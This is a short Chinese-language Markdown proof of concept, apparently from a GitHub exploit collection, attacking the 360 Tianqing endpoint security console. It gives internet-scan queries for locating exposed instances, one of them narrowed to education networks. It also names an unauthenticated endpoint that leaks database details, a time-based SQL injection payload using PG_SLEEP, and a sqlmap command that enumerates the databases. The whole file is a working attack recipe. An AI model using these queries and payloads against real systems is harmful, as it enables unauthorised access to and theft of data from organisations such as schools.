wy876_POC/360天擎 - 未授权与sql注入.md

27 lines
632 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

## 360天擎 - 未授权与sql注入
## FOFA语法
```title="360新天擎"```
## 鹰图
```web.title="360新天擎"&& ip.isp="教育"```
## 漏洞复现
### 未授权漏洞
```路由后拼接/api/dbstat/gettablessize```
![](./assets/20231018183944.png)
### sql注入漏洞
比较推荐的方式先测试是否存在数据库信息泄露存在的话大概率存在SQL注入
```
路由后拼接/api/dp/rptsvcsyncpoint?ccid=1
{{Hostname}}/api/dp/rptsvcsyncpoint?ccid=1';SELECT PG_SLEEP(5)--
```
![](./assets/20231018184057.png)
## sqlmap
python .\sqlmap.py --batch -dbs -u https://{{Hostname}}/api/dp/rptsvcsyncpoint?ccid=1